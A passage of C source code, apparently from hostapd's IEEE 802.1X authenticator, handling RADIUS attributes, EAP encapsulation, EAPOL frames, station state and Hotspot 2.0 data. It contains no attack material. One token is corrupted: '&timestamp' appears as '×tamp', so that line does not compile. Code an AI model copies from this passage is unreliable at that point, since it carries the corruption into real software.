RADIUS_802_1X_ADDR_FORMAT ":", MAC2STR(hapd->own_addr)); os_memcpy(&buf[len], hapd->conf->ssid.ssid, hapd->conf->ssid.ssid_len); len += hapd->conf->ssid.ssid_len; if (!hostapd_config_get_radius_attr(req_attr, RADIUS_ATTR_CALLED_STATION_ID) && !radius_msg_add_attr(msg, RADIUS_ATTR_CALLED_STATION_ID, (u8 *) buf, len)) { wpa_printf(MSG_ERROR, "Could not add Called-Station-Id"); return -1; } if (!hostapd_config_get_radius_attr(req_attr, RADIUS_ATTR_NAS_PORT_TYPE) && !radius_msg_add_attr_int32(msg, RADIUS_ATTR_NAS_PORT_TYPE, RADIUS_NAS_PORT_TYPE_IEEE_802_11)) { wpa_printf(MSG_ERROR, "Could not add NAS-Port-Type"); return -1; } #ifdef CONFIG_INTERWORKING if (hapd->conf->interworking && !is_zero_ether_addr(hapd->conf->hessid)) { os_snprintf(buf, sizeof(buf), RADIUS_802_1X_ADDR_FORMAT, MAC2STR(hapd->conf->hessid)); buf[sizeof(buf) - 1] = '\0'; if (!hostapd_config_get_radius_attr(req_attr, RADIUS_ATTR_WLAN_HESSID) && !radius_msg_add_attr(msg, RADIUS_ATTR_WLAN_HESSID, (u8 *) buf, os_strlen(buf))) { wpa_printf(MSG_ERROR, "Could not add WLAN-HESSID"); return -1; } } #endif /* CONFIG_INTERWORKING */ if (sta && add_common_radius_sta_attr(hapd, req_attr, sta, msg) < 0) return -1; for (attr = req_attr; attr; attr = attr->next) { if (!radius_msg_add_attr(msg, attr->type, wpabuf_head(attr->val), wpabuf_len(attr->val))) { wpa_printf(MSG_ERROR, "Could not add RADIUS " "attribute"); return -1; } } return 0; } void ieee802_1x_encapsulate_radius(struct hostapd_data *hapd, struct sta_info *sta, const u8 *eap, size_t len) { struct radius_msg *msg; struct eapol_state_machine *sm = sta->eapol_sm; if (sm == NULL) return; ieee802_1x_learn_identity(hapd, sm, eap, len); wpa_printf(MSG_DEBUG, "Encapsulating EAP message into a RADIUS " "packet"); sm->radius_identifier = radius_client_get_id(hapd->radius); msg = radius_msg_new(RADIUS_CODE_ACCESS_REQUEST, sm->radius_identifier); if (msg == NULL) { wpa_printf(MSG_INFO, "Could not create new RADIUS packet"); return; } if (radius_msg_make_authenticator(msg) < 0) { wpa_printf(MSG_INFO, "Could not make Request Authenticator"); goto fail; } if (sm->identity && !radius_msg_add_attr(msg, RADIUS_ATTR_USER_NAME, sm->identity, sm->identity_len)) { wpa_printf(MSG_INFO, "Could not add User-Name"); goto fail; } if (add_common_radius_attr(hapd, hapd->conf->radius_auth_req_attr, sta, msg) < 0) goto fail; /* TODO: should probably check MTU from driver config; 2304 is max for * IEEE 802.11, but use 1400 to avoid problems with too large packets */ if (!hostapd_config_get_radius_attr(hapd->conf->radius_auth_req_attr, RADIUS_ATTR_FRAMED_MTU) && !radius_msg_add_attr_int32(msg, RADIUS_ATTR_FRAMED_MTU, 1400)) { wpa_printf(MSG_INFO, "Could not add Framed-MTU"); goto fail; } if (!radius_msg_add_eap(msg, eap, len)) { wpa_printf(MSG_INFO, "Could not add EAP-Message"); goto fail; } /* State attribute must be copied if and only if this packet is * Access-Request reply to the previous Access-Challenge */ if (sm->last_recv_radius && radius_msg_get_hdr(sm->last_recv_radius)->code == RADIUS_CODE_ACCESS_CHALLENGE) { int res = radius_msg_copy_attr(msg, sm->last_recv_radius, RADIUS_ATTR_STATE); if (res < 0) { wpa_printf(MSG_INFO, "Could not copy State attribute from previous Access-Challenge"); goto fail; } if (res > 0) { wpa_printf(MSG_DEBUG, "Copied RADIUS State Attribute"); } } if (hapd->conf->radius_request_cui) { const u8 *cui; size_t cui_len; /* Add previously learned CUI or nul CUI to request CUI */ if (sm->radius_cui) { cui = wpabuf_head(sm->radius_cui); cui_len = wpabuf_len(sm->radius_cui); } else { cui = (const u8 *) "\0"; cui_len = 1; } if (!radius_msg_add_attr(msg, RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, cui, cui_len)) { wpa_printf(MSG_ERROR, "Could not add CUI"); goto fail; } } #ifdef CONFIG_HS20 if (hapd->conf->hs20) { u8 ver = 1; /* Release 2 */ if (!radius_msg_add_wfa( msg, RADIUS_VENDOR_ATTR_WFA_HS20_AP_VERSION, &ver, 1)) { wpa_printf(MSG_ERROR, "Could not add HS 2.0 AP " "version"); goto fail; } if (sta->hs20_ie && wpabuf_len(sta->hs20_ie) > 0) { const u8 *pos; u8 buf[3]; u16 id; pos = wpabuf_head_u8(sta->hs20_ie); buf[0] = (*pos) >> 4; if (((*pos) & HS20_PPS_MO_ID_PRESENT) && wpabuf_len(sta->hs20_ie) >= 3) id = WPA_GET_LE16(pos + 1); else id = 0; WPA_PUT_BE16(buf + 1, id); if (!radius_msg_add_wfa( msg, RADIUS_VENDOR_ATTR_WFA_HS20_STA_VERSION, buf, sizeof(buf))) { wpa_printf(MSG_ERROR, "Could not add HS 2.0 " "STA version"); goto fail; } } if (sta->roaming_consortium && !radius_msg_add_wfa( msg, RADIUS_VENDOR_ATTR_WFA_HS20_ROAMING_CONSORTIUM, wpabuf_head(sta->roaming_consortium), wpabuf_len(sta->roaming_consortium))) { wpa_printf(MSG_ERROR, "Could not add HS 2.0 Roaming Consortium"); goto fail; } if (hapd->conf->t_c_filename) { be32 timestamp; if (!radius_msg_add_wfa( msg, RADIUS_VENDOR_ATTR_WFA_HS20_T_C_FILENAME, (const u8 *) hapd->conf->t_c_filename, os_strlen(hapd->conf->t_c_filename))) { wpa_printf(MSG_ERROR, "Could not add HS 2.0 T&C Filename"); goto fail; } timestamp = host_to_be32(hapd->conf->t_c_timestamp); if (!radius_msg_add_wfa( msg, RADIUS_VENDOR_ATTR_WFA_HS20_TIMESTAMP, (const u8 *) ×tamp, sizeof(timestamp))) { wpa_printf(MSG_ERROR, "Could not add HS 2.0 Timestamp"); goto fail; } } } #endif /* CONFIG_HS20 */ if (radius_client_send(hapd->radius, msg, RADIUS_AUTH, sta->addr) < 0) goto fail; return; fail: radius_msg_free(msg); } #endif /* CONFIG_NO_RADIUS */ static void handle_eap_response(struct hostapd_data *hapd, struct sta_info *sta, struct eap_hdr *eap, size_t len) { u8 type, *data; struct eapol_state_machine *sm = sta->eapol_sm; if (sm == NULL) return; data = (u8 *) (eap + 1); if (len < sizeof(*eap) + 1) { wpa_printf(MSG_INFO, "handle_eap_response: too short response data"); return; } sm->eap_type_supp = type = data[0]; hostapd_logger(hapd, sm->addr, HOSTAPD_MODULE_IEEE8021X, HOSTAPD_LEVEL_DEBUG, "received EAP packet (code=%d " "id=%d len=%d) from STA: EAP Response-%s (%d)", eap->code, eap->identifier, be_to_host16(eap->length), eap_server_get_name(0, type), type); sm->dot1xAuthEapolRespFramesRx++; wpabuf_free(sm->eap_if->eapRespData); sm->eap_if->eapRespData = wpabuf_alloc_copy(eap, len); sm->eapolEap = TRUE; } static void handle_eap_initiate(struct hostapd_data *hapd, struct sta_info *sta, struct eap_hdr *eap, size_t len) { #ifdef CONFIG_ERP u8 type, *data; struct eapol_state_machine *sm = sta->eapol_sm; if (sm == NULL) return; if (len < sizeof(*eap) + 1) { wpa_printf(MSG_INFO, "handle_eap_initiate: too short response data"); return; } data = (u8 *) (eap + 1); type = data[0]; hostapd_logger(hapd, sm->addr, HOSTAPD_MODULE_IEEE8021X, HOSTAPD_LEVEL_DEBUG, "received EAP packet (code=%d " "id=%d len=%d) from STA: EAP Initiate type %u", eap->code, eap->identifier, be_to_host16(eap->length), type); wpabuf_free(sm->eap_if->eapRespData); sm->eap_if->eapRespData = wpabuf_alloc_copy(eap, len); sm->eapolEap = TRUE; #endif /* CONFIG_ERP */ } /* Process incoming EAP packet from Supplicant */ static void handle_eap(struct hostapd_data *hapd, struct sta_info *sta, u8 *buf, size_t len) { struct eap_hdr *eap; u16 eap_len; if (len < sizeof(*eap)) { wpa_printf(MSG_INFO, " too short EAP packet"); return; } eap = (struct eap_hdr *) buf; eap_len = be_to_host16(eap->length); wpa_printf(MSG_DEBUG, "EAP: code=%d identifier=%d length=%d", eap->code, eap->identifier, eap_len); if (eap_len < sizeof(*eap)) { wpa_printf(MSG_DEBUG, " Invalid EAP length"); return; } else if (eap_len > len) { wpa_printf(MSG_DEBUG, " Too short frame to contain this EAP " "packet"); return; } else if (eap_len < len) { wpa_printf(MSG_DEBUG, " Ignoring %lu extra bytes after EAP " "packet", (unsigned long) len - eap_len); } switch (eap->code) { case EAP_CODE_REQUEST: wpa_printf(MSG_DEBUG, " (request)"); return; case EAP_CODE_RESPONSE: wpa_printf(MSG_DEBUG, " (response)"); handle_eap_response(hapd, sta, eap, eap_len); break; case EAP_CODE_SUCCESS: wpa_printf(MSG_DEBUG, " (success)"); return; case EAP_CODE_FAILURE: wpa_printf(MSG_DEBUG, " (failure)"); return; case EAP_CODE_INITIATE: wpa_printf(MSG_DEBUG, " (initiate)"); handle_eap_initiate(hapd, sta, eap, eap_len); break; case EAP_CODE_FINISH: wpa_printf(MSG_DEBUG, " (finish)"); break; default: wpa_printf(MSG_DEBUG, " (unknown code)"); return; } } struct eapol_state_machine * ieee802_1x_alloc_eapol_sm(struct hostapd_data *hapd, struct sta_info *sta) { int flags = 0; if (sta->flags & WLAN_STA_PREAUTH) flags |= EAPOL_SM_PREAUTH; if (sta->wpa_sm) { flags |= EAPOL_SM_USES_WPA; if (wpa_auth_sta_get_pmksa(sta->wpa_sm)) flags |= EAPOL_SM_FROM_PMKSA_CACHE; } return eapol_auth_alloc(hapd->eapol_auth, sta->addr, flags, sta->wps_ie, sta->p2p_ie, sta, sta->identity, sta->radius_cui); } static void ieee802_1x_save_eapol(struct sta_info *sta, const u8 *buf, size_t len) { if (sta->pending_eapol_rx) { wpabuf_free(sta->pending_eapol_rx->buf); } else { sta->pending_eapol_rx = os_malloc(sizeof(*sta->pending_eapol_rx)); if (!sta->pending_eapol_rx) return; } sta->pending_eapol_rx->buf = wpabuf_alloc_copy(buf, len); if (!sta->pending_eapol_rx->buf) { os_free(sta->pending_eapol_rx); sta->pending_eapol_rx = NULL; return; } os_get_reltime(&sta->pending_eapol_rx->rx_time); } /** * ieee802_1x_receive - Process the EAPOL frames from the Supplicant * @hapd: hostapd BSS data * @sa: Source address (sender of the EAPOL frame) * @buf: EAPOL frame * @len: Length of buf in octets * * This function is called for each incoming EAPOL frame from the interface */ void ieee802_1x_receive(struct hostapd_data *hapd, const u8 *sa, const u8 *buf, size_t len) { struct sta_info *sta; struct ieee802_1x_hdr *hdr; struct ieee802_1x_eapol_key *key; u16 datalen; struct rsn_pmksa_cache_entry *pmksa; int key_mgmt; if (!hapd->conf->ieee802_1x && !hapd->conf->wpa && !hapd->conf->osen && !hapd->conf->wps_state) return; wpa_printf(MSG_DEBUG, "IEEE 802.1X: %lu bytes from " MACSTR, (unsigned long) len, MAC2STR(sa)); sta = ap_get_sta(hapd, sa); if (!sta || (!(sta->flags & (WLAN_STA_ASSOC | WLAN_STA_PREAUTH)) && !(hapd->iface->drv_flags & WPA_DRIVER_FLAGS_WIRED))) { wpa_printf(MSG_DEBUG, "IEEE 802.1X data frame from not " "associated/Pre-authenticating STA"); if (sta && (sta->flags & WLAN_STA_AUTH)) { wpa_printf(MSG_DEBUG, "Saving EAPOL frame from " MACSTR " for later use", MAC2STR(sta->addr)); ieee802_1x_save_eapol(sta, buf, len); } return; } if (len < sizeof(*hdr)) { wpa_printf(MSG_INFO, " too short IEEE 802.1X packet"); return; } hdr = (struct ieee802_1x_hdr *) buf; datalen = be_to_host16(hdr->length); wpa_printf(MSG_DEBUG, " IEEE 802.1X: version=%d type=%d length=%d", hdr->version, hdr->type, datalen); if (len - sizeof(*hdr) < datalen) { wpa_printf(MSG_INFO, " frame too short for this IEEE 802.1X packet"); if (sta->eapol_sm) sta->eapol_sm->dot1xAuthEapLengthErrorFramesRx++; return; } if (len - sizeof(*hdr) > datalen) { wpa_printf(MSG_DEBUG, " ignoring %lu extra octets after " "IEEE 802.1X packet", (unsigned long) len - sizeof(*hdr) - datalen); } if (sta->eapol_sm) { sta->eapol_sm->dot1xAuthLastEapolFrameVersion = hdr->version; sta->eapol_sm->dot1xAuthEapolFramesRx++; } key = (struct ieee802_1x_eapol_key *) (hdr + 1); if (datalen >= sizeof(struct ieee802_1x_eapol_key) && hdr->type == IEEE802_1X_TYPE_EAPOL_KEY && (key->type == EAPOL_KEY_TYPE_WPA || key->type == EAPOL_KEY_TYPE_RSN)) { wpa_receive(hapd->wpa_auth, sta->wpa_sm, (u8 *) hdr, sizeof(*hdr) + datalen); return; } if (!hapd->conf->ieee802_1x && !hapd->conf->osen && !(sta->flags & (WLAN_STA_WPS | WLAN_STA_MAYBE_WPS))) { wpa_printf(MSG_DEBUG, "IEEE 802.1X: Ignore EAPOL message - " "802.1X not enabled and WPS not used"); return; } key_mgmt = wpa_auth_sta_key_mgmt(sta->wpa_sm); if (key_mgmt != -1 && (wpa_key_mgmt_wpa_psk(key_mgmt) || key_mgmt == WPA_KEY_MGMT_OWE || key_mgmt == WPA_KEY_MGMT_DPP)) { wpa_printf(MSG_DEBUG, "IEEE 802.1X: Ignore EAPOL message - " "STA is using PSK"); return; } if (!sta->eapol_sm) { sta->eapol_sm = ieee802_1x_alloc_eapol_sm(hapd, sta); if (!sta->eapol_sm) return; #ifdef CONFIG_WPS if (!hapd->conf->ieee802_1x && hapd->conf->wps_state) { u32 wflags = sta->flags & (WLAN_STA_WPS | WLAN_STA_WPS2 | WLAN_STA_MAYBE_WPS); if (wflags == WLAN_STA_MAYBE_WPS || wflags == (WLAN_STA_WPS | WLAN_STA_MAYBE_WPS)) { /* * Delay EAPOL frame transmission until a * possible WPS STA initiates the handshake * with EAPOL-Start. Only allow the wait to be * skipped if the STA is known to support WPS * 2.0. */ wpa_printf(MSG_DEBUG, "WPS: Do not start " "EAPOL until EAPOL-Start is " "received"); sta->eapol_sm->flags |= EAPOL_SM_WAIT_START; } } #endif /* CONFIG_WPS */ sta->eapol_sm->eap_if->portEnabled = TRUE; } /* since we support version 1, we can ignore version field and proceed * as specified in version 1 standard [IEEE Std 802.1X-2001, 7.5.5] */ /* TODO: actually, we are not version 1 anymore.. However, Version 2 * does not change frame contents, so should be ok to process frames * more or less identically. Some changes might be needed for * verification of fields. */ switch (hdr->type) { case IEEE802_1X_TYPE_EAP_PACKET: handle_eap(hapd, sta, (u8 *) (hdr + 1), datalen); break; case IEEE802_1X_TYPE_EAPOL_START: hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, HOSTAPD_LEVEL_DEBUG, "received EAPOL-Start " "from STA"); sta->eapol_sm->flags &= ~EAPOL_SM_WAIT_START; pmksa = wpa_auth_sta_get_pmksa(sta->wpa_sm); if (pmksa) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_WPA, HOSTAPD_LEVEL_DEBUG, "cached PMKSA " "available - ignore it since " "STA sent EAPOL-Start"); wpa_auth_sta_clear_pmksa(sta->wpa_sm, pmksa); } sta->eapol_sm->eapolStart = TRUE; sta->eapol_sm->dot1xAuthEapolStartFramesRx++; eap_server_clear_identity(sta->eapol_sm->eap); wpa_auth_sm_event(sta->wpa_sm, WPA_REAUTH_EAPOL); break; case IEEE802_1X_TYPE_EAPOL_LOGOFF: hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, HOSTAPD_LEVEL_DEBUG, "received EAPOL-Logoff " "from STA"); sta->acct_terminate_cause = RADIUS_ACCT_TERMINATE_CAUSE_USER_REQUEST; accounting_sta_stop(hapd, sta); sta->eapol_sm->eapolLogoff = TRUE; sta->eapol_sm->dot1xAuthEapolLogoffFramesRx++; eap_server_clear_identity(sta->eapol_sm->eap); break; case IEEE802_1X_TYPE_EAPOL_KEY: wpa_printf(MSG_DEBUG, " EAPOL-Key"); if (!ap_sta_is_authorized(sta)) { wpa_printf(MSG_DEBUG, " Dropped key data from " "unauthorized Supplicant"); break; } break; case IEEE802_1X_TYPE_EAPOL_ENCAPSULATED_ASF_ALERT: wpa_printf(MSG_DEBUG, " EAPOL-Encapsulated-ASF-Alert"); /* TODO: implement support for this; show data */ break; default: wpa_printf(MSG_DEBUG, " unknown IEEE 802.1X packet type"); sta->eapol_sm->dot1xAuthInvalidEapolFramesRx++; break; } eapol_auth_step(sta->eapol_sm); } /** * ieee802_1x_new_station - Start IEEE 802.1X authentication * @hapd: hostapd BSS data * @sta: The station * * This function is called to start IEEE 802.1X authentication when a new * station completes IEEE 802.11 association. */ void ieee802_1x_new_station(struct hostapd_data *hapd, struct sta_info *sta) { struct rsn_pmksa_cache_entry *pmksa; int reassoc = 1; int force_1x = 0; int key_mgmt; #ifdef CONFIG_WPS if (hapd->conf->wps_state && ((hapd->conf->wpa && (sta->flags & WLAN_STA_MAYBE_WPS)) || (sta->flags & WLAN_STA_WPS))) { /* * Need to enable IEEE 802.1X/EAPOL state machines for possible * WPS handshake even if IEEE 802.1X/EAPOL is not used for * authentication in this BSS. */ force_1x = 1; } #endif /* CONFIG_WPS */ if (!force_1x && !hapd->conf->ieee802_1x && !hapd->conf->osen) { wpa_printf(MSG_DEBUG, "IEEE 802.1X: Ignore STA - " "802.1X not enabled or forced for WPS"); /* * Clear any possible EAPOL authenticator state to support * reassociation change from WPS to PSK. */ ieee802_1x_free_station(hapd, sta); return; } key_mgmt = wpa_auth_sta_key_mgmt(sta->wpa_sm); if (key_mgmt != -1 && (wpa_key_mgmt_wpa_psk(key_mgmt) || key_mgmt == WPA_KEY_MGMT_OWE || key_mgmt == WPA_KEY_MGMT_DPP)) { wpa_printf(MSG_DEBUG, "IEEE 802.1X: Ignore STA - using PSK"); /* * Clear any possible EAPOL authenticator state to support * reassociation change from WPA-EAP to PSK. */ ieee802_1x_free_station(hapd, sta); return; } if (sta->eapol_sm == NULL) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, HOSTAPD_LEVEL_DEBUG, "start authentication"); sta->eapol_sm = ieee802_1x_alloc_eapol_sm(hapd, sta); if (sta->eapol_sm == NULL) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, HOSTAPD_LEVEL_INFO, "failed to allocate state machine"); return; } reassoc = 0; } #ifdef CONFIG_WPS sta->eapol_sm->flags &= ~EAPOL_SM_WAIT_START; if (!hapd->conf->ieee802_1x && hapd->conf->wps_state && !(sta->flags & WLAN_STA_WPS2)) { /* * Delay EAPOL frame transmission until a possible WPS STA * initiates the handshake with EAPOL-Start. Only allow the * wait to be skipped if the STA is known to support WPS 2.0. */ wpa_printf(MSG_DEBUG, "WPS: Do not start EAPOL until " "EAPOL-Start is received"); sta->eapol_sm->flags |= EAPOL_SM_WAIT_START; } #endif /* CONFIG_WPS */ sta->eapol_sm->eap_if->portEnabled = TRUE; #ifdef CONFIG_IEEE80211R_AP if (sta->auth_alg == WLAN_AUTH_FT) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, HOSTAPD_LEVEL_DEBUG, "PMK from FT - skip IEEE 802.1X/EAP"); /* Setup EAPOL state machines to already authenticated state * because of existing FT information from R0KH. */ sta->eapol_sm->keyRun = TRUE; sta->eapol_sm->eap_if->eapKeyAvailable = TRUE; sta->eapol_sm->auth_pae_state = AUTH_PAE_AUTHENTICATING; sta->eapol_sm->be_auth_state = BE_AUTH_SUCCESS; sta->eapol_sm->authSuccess = TRUE; sta->eapol_sm->authFail = FALSE; sta->eapol_sm->portValid = TRUE; if (sta->eapol_sm->eap) eap_sm_notify_cached(sta->eapol_sm->eap); ap_sta_bind_vlan(hapd, sta); return; } #endif /* CONFIG_IEEE80211R_AP */ #ifdef CONFIG_FILS if (sta->auth_alg == WLAN_AUTH_FILS_SK || sta->auth_alg == WLAN_AUTH_FILS_SK_PFS || sta->auth_alg == WLAN_AUTH_FILS_PK) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, HOSTAPD_LEVEL_DEBUG, "PMK from FILS - skip IEEE 802.1X/EAP"); /* Setup EAPOL state machines to already authenticated state * because of existing FILS information. */ sta->eapol_sm->keyRun = TRUE; sta->eapol_sm->eap_if->eapKeyAvailable = TRUE; sta->eapol_sm->auth_pae_state = AUTH_PAE_AUTHENTICATING; sta->eapol_sm->be_auth_state = BE_AUTH_SUCCESS; sta->eapol_sm->authSuccess = TRUE; sta->eapol_sm->authFail = FALSE; sta->eapol_sm->portValid = TRUE; if (sta->eapol_sm->eap) eap_sm_notify_cached(sta->eapol_sm->eap); return; } #endif /* CONFIG_FILS */ pmksa = wpa_auth_sta_get_pmksa(sta->wpa_sm); if (pmksa) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, HOSTAPD_LEVEL_DEBUG, "PMK from PMKSA cache - skip IEEE 802.1X/EAP"); /* Setup EAPOL state machines to already authenticated state * because of existing PMKSA information in the cache. */ sta->eapol_sm->keyRun = TRUE; sta->eapol_sm->eap_if->eapKeyAvailable = TRUE; sta->eapol_sm->auth_pae_state = AUTH_PAE_AUTHENTICATING; sta->eapol_sm->be_auth_state = BE_AUTH_SUCCESS; sta->eapol_sm->authSuccess = TRUE; sta->eapol_sm->authFail = FALSE; if (sta->eapol_sm->eap) eap_sm_notify_cached(sta->eapol_sm->eap); pmksa_cache_to_eapol_data(hapd, pmksa, sta->eapol_sm); ap_sta_bind_vlan(hapd, sta); } else { if (reassoc) { /* * Force EAPOL state machines to start * re-authentication without having to wait for the * Supplicant to send EAPOL-Start. */ sta->eapol_sm->reAuthenticate = TRUE; } eapol_auth_step(sta->eapol_sm); } } void ieee802_1x_free_station(struct hostapd_data *hapd, struct sta_info *sta) { struct eapol_state_machine *sm = sta->eapol_sm; #ifdef CONFIG_HS20 eloop_cancel_timeout(ieee802_1x_wnm_notif_send, hapd, sta); #endif /* CONFIG_HS20 */ if (sta->pending_eapol_rx) { wpabuf_free(sta->pending_eapol_rx->buf); os_free(sta->pending_eapol_rx); sta->pending_eapol_rx = NULL; } if (sm == NULL) return; sta->eapol_sm = NULL; #ifndef CONFIG_NO_RADIUS radius_msg_free(sm->last_recv_radius); radius_free_class(&sm->radius_class); #endif /* CONFIG_NO_RADIUS */ eapol_auth_free(sm); } #ifndef CONFIG_NO_RADIUS static void ieee802_1x_decapsulate_radius(struct hostapd_data *hapd, struct sta_info *sta) { struct wpabuf *eap; const struct eap_hdr *hdr; int eap_type = -1; char buf[64]; struct radius_msg *msg; struct eapol_state_machine *sm = sta->eapol_sm; if (sm == NULL || sm->last_recv_radius == NULL) { if (sm) sm->eap_if->aaaEapNoReq = TRUE; return; } msg = sm->last_recv_radius; eap = radius_msg_get_eap(msg); if (eap == NULL) { /* RFC 3579, Chap. 2.6.3: * RADIUS server SHOULD NOT send Access-Reject/no EAP-Message * attribute */ hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, HOSTAPD_LEVEL_WARNING, "could not extract " "EAP-Message from RADIUS message"); sm->eap_if->aaaEapNoReq = TRUE; return; } if (wpabuf_len(eap) < sizeof(*hdr)) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, HOSTAPD_LEVEL_WARNING, "too short EAP packet " "received from authentication server"); wpabuf_free(eap); sm->eap_if->aaaEapNoReq = TRUE; return; } if (wpabuf_len(eap) > sizeof(*hdr)) eap_type = (wpabuf_head_u8(eap))[sizeof(*hdr)]; hdr = wpabuf_head(eap); switch (hdr->code) { case EAP_CODE_REQUEST: if (eap_type >= 0) sm->eap_type_authsrv = eap_type; os_snprintf(buf, sizeof(buf), "EAP-Request-%s (%d)", eap_server_get_name(0, eap_type), eap_type); break; case EAP_CODE_RESPONSE: os_snprintf(buf, sizeof(buf), "EAP Response-%s (%d)", eap_server_get_name(0, eap_type), eap_type); break; case EAP_CODE_SUCCESS: os_strlcpy(buf, "EAP Success", sizeof(buf)); break; case EAP_CODE_FAILURE: os_strlcpy(buf, "EAP Failure", sizeof(buf)); break; default: os_strlcpy(buf, "unknown EAP code", sizeof(buf)); break; } buf[sizeof(buf) - 1] = '\0'; hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, HOSTAPD_LEVEL_DEBUG, "decapsulated EAP packet (code=%d " "id=%d len=%d) from RADIUS server: %s", hdr->code, hdr->identifier, be_to_host16(hdr->length), buf); sm->eap_if->aaaEapReq = TRUE; wpabuf_free(sm->eap_if->aaaEapReqData); sm->eap_if->aaaEapReqData = eap; } static void ieee802_1x_get_keys(struct hostapd_data *hapd, struct sta_info *sta, struct radius_msg *msg, struct radius_msg *req, const u8 *shared_secret, size_t shared_secret_len) { struct radius_ms_mppe_keys *keys; struct eapol_state_machine *sm = sta->eapol_sm; if (sm == NULL) return; keys = radius_msg_get_ms_keys(msg, req, shared_secret, shared_secret_len); if (keys && keys->send && keys->recv) { size_t len = keys->send_len + keys->recv_len; wpa_hexdump_key(MSG_DEBUG, "MS-MPPE-Send-Key", keys->send, keys->send_len); wpa_hexdump_key(MSG_DEBUG, "MS-MPPE-Recv-Key", keys->recv, keys->recv_len); os_free(sm->eap_if->aaaEapKeyData); sm->eap_if->aaaEapKeyData = os_malloc(len); if (sm->eap_if->aaaEapKeyData) { os_memcpy(sm->eap_if->aaaEapKeyData, keys->recv, keys->recv_len); os_memcpy(sm->eap_if->aaaEapKeyData + keys->recv_len, keys->send, keys->send_len); sm->eap_if->aaaEapKeyDataLen = len; sm->eap_if->aaaEapKeyAvailable = TRUE; } } else { wpa_printf(MSG_DEBUG, "MS-MPPE: 1x_get_keys, could not get keys: %p send: %p recv: %p", keys, keys ? keys->send : NULL, keys ? keys->recv : NULL); } if (keys) { os_free(keys->send); os_free(keys->recv); os_free(keys); } } static void ieee802_1x_store_radius_class(struct hostapd_data *hapd, struct sta_info *sta, struct radius_msg *msg) { u8 *attr_class; size_t class_len; struct eapol_state_machine *sm = sta->eapol_sm; int count, i; struct radius_attr_data *nclass; size_t nclass_count; if (!hapd->conf->radius->acct_server || hapd->radius == NULL || sm == NULL) return; radius_free_class(&sm->radius_class); count = radius_msg_count_attr(msg, RADIUS_ATTR_CLASS, 1); if (count <= 0) return; nclass = os_calloc(count, sizeof(struct radius_attr_data)); if (nclass == NULL) return; nclass_count = 0; attr_class = NULL; for (i = 0; i < count; i++) { do { if (radius_msg_get_attr_ptr(msg, RADIUS_ATTR_CLASS, &attr_class, &class_len, attr_class) < 0) { i = count; break; } } while (class_len < 1); nclass[nclass_count].data = os_memdup(attr_class, class_len); if (nclass[nclass_count].data == NULL) break; nclass[nclass_count].len = class_len; nclass_count++; } sm->radius_class.attr = nclass; sm->radius_class.count = nclass_count; wpa_printf(MSG_DEBUG, "IEEE 802.1X: Stored %lu RADIUS Class " "attributes for " MACSTR, (unsigned long) sm->radius_class.count, MAC2STR(sta->addr)); } /* Update sta->identity based on User-Name attribute in Access-Accept */ static void ieee802_1x_update_sta_identity(struct hostapd_data *hapd, struct sta_info *sta, struct radius_msg *msg) { u8 *buf, *identity; size_t len; struct eapol_state_machine *sm = sta->eapol_sm; if (sm == NULL) return; if (radius_msg_get_attr_ptr(msg, RADIUS_ATTR_USER_NAME, &buf, &len, NULL) < 0) return; identity = (u8 *) dup_binstr(buf, len); if (identity == NULL) return; hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE8021X, HOSTAPD_LEVEL_DEBUG, "old identity '%s' updated with " "User-Name from Access-Accept '%s'", sm->identity ? (char *) sm->identity : "N/A", (char *) identity); os_free(sm->identity); sm->identity = identity; sm->identity_len = len; } /* Update CUI based on Chargeable-User-Identity attribute in Access-Accept */ static void ieee802_1x_update_sta_cui(struct hostapd_data *hapd, struct sta_info *sta, struct radius_msg *msg) { struct eapol_state_machine *sm = sta->eapol_sm; struct wpabuf *cui; u8 *buf; size_t len; if (sm == NULL) return; if (radius_msg_get_attr_ptr(msg, RADIUS_ATTR_CHARGEABLE_USER_IDENTITY, &buf, &len, NULL) < 0) return; cui = wpabuf_alloc_copy(buf, len); if (cui == NULL) return; wpabuf_free(sm->radius_cui); sm->radius_cui = cui; } #ifdef CONFIG_HS20 static void ieee802_1x_hs20_sub_rem(struct sta_info *sta, u8 *pos, size_t len) { sta->remediation = 1; os_free(sta->remediation_url); if (len > 2) { sta->remediation_url = os_malloc(len); if (!sta->remediation_url) return; sta->remediation_method = pos[0]; os_memcpy(sta->remediation_url, pos + 1, len - 1); sta->remediation_url[len - 1] = '\0'; wpa_printf(MSG_DEBUG, "HS 2.0: Subscription remediation needed " "for " MACSTR " - server method %u URL %s", MAC2STR(sta->addr), sta->remediation_method, sta->remediation_url); } else { sta->remediation_url = NULL; wpa_printf(MSG_DEBUG, "HS 2.0: Subscription remediation needed " "for " MACSTR, MAC2STR(sta->addr)); } /* TODO: assign the STA into remediation VLAN or add filtering */ } static void ieee802_1x_hs20_deauth_req(struct hostapd_data *hapd, struct sta_info *sta, u8 *pos, size_t len) { if (len < 3) return; /* Malformed information */ sta->hs20_deauth_requested = 1; wpa_printf(MSG_DEBUG, "HS 2.0: Deauthentication request - Code %u " "Re-auth Delay %u", *pos, WPA_GET_LE16(pos + 1)); wpabuf_free(sta->hs20_deauth_req); sta->hs20_deauth_req = wpabuf_alloc(len + 1); if (sta->hs20_deauth_req) { wpabuf_put_data(sta->hs20_deauth_req, pos, 3); wpabuf_put_u8(sta->hs20_deauth_req, len - 3); wpabuf_put_data(sta->hs20_deauth_req, pos + 3, len - 3); } ap_sta_session_timeout(hapd, sta, hapd->conf->hs20_deauth_req_timeout); } static void ieee802_1x_hs20_session_info(struct hostapd_data *hapd, struct sta_info *sta, u8 *pos, size_t len, int session_timeout) { unsigned int swt; int warning_time, beacon_int; if (len < 1) return; /* Malformed information */ os_free(sta->hs20_session_info_url); sta->hs20_session_info_url = 